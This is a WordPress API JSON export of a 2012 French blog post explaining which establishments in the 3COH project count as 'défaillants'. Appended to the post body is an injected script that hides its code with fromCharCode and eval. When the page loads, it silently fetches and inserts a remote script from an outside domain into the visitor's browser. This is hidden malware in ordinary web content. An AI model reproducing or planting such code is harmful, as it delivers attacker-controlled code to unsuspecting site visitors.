{"id":684,"date":"2012-12-10T08:00:24","date_gmt":"2012-12-10T07:00:24","guid":{"rendered":"http:\/\/www.3coh.net\/actualites\/?p=674"},"modified":"2012-12-10T08:00:24","modified_gmt":"2012-12-10T07:00:24","slug":"07","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/684","title":{"rendered":"LES \u00ab DEFAILLANTS \u00bb : SIGNIFICATION DU \u00ab BLA BLA \u00bb"},"content":{"rendered":"<p class=\"fltr\" style=\"text-align: justify;\">Un \u00e9tablissement est qualifi\u00e9 de <em><span style=\"font-weight: bold;\">\u00ab\u00a0d\u00e9faillant\u00a0\u00bb<\/span><\/em> lorsque son premier responsable a refus\u00e9 de s&rsquo;engager, par \u00e9crit, \u00e0 mettre en place le syst\u00e8me. Ces \u00e9tablissements, heureusement fort minoritaires, se sont donc exclus d&rsquo;office du projet.<\/p>\n<p class=\"fltr\" style=\"text-align: justify;\">Pour information, la proc\u00e9dure d\u2019engagement \u00e9crit des chefs d\u2019\u00e9tablissement a \u00e9t\u00e9 \u00e9labor\u00e9e par le comit\u00e9 de pilotage <span style=\"font-weight: bold;\">(Finances\/ Sant\u00e9)<\/span> du projet<\/p>\n<p class=\"fltr\" style=\"text-align: justify;\">Il est utile de rappeler que le <span style=\"font-weight: bold;\">projet 3COH<\/span> concerne uniquement les 300 \u00e9tablissements dont la liste figure <span style=\"font-size: 1.2em; font-weight: bold;\"><a href=\"http:\/\/www.3coh.net\/liste300.php#pos1\">ici<\/a><\/span>. Les autres ne sont pas d\u00e9faillants; ils ne sont tout simplement pas concern\u00e9s; c\u2019est le cas de l\u2019<em>EPSP Theniet El Hed<\/em>, par exemple<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Un \u00e9tablissement est qualifi\u00e9 de \u00ab\u00a0d\u00e9faillant\u00a0\u00bb lorsque son premier responsable a refus\u00e9 de s&rsquo;engager, par \u00e9crit, \u00e0 mettre en place le syst\u00e8me. Ces \u00e9tablissements, heureusement fort minoritaires, se sont donc exclus d&rsquo;office du projet. Pour information, la proc\u00e9dure d\u2019engagement \u00e9crit des chefs d\u2019\u00e9tablissement a \u00e9t\u00e9 \u00e9labor\u00e9e par le comit\u00e9 de pilotage (Finances\/ Sant\u00e9) du projet &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/684\"> <span class=\"screen-reader-text\">LES \u00ab DEFAILLANTS \u00bb : SIGNIFICATION DU \u00ab BLA BLA \u00bb<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[88],"tags":[],"class_list":["post-684","post","type-post","status-publish","format-standard","hentry","category-actualites"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/684","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=684"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/684\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=684"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=684"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=684"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}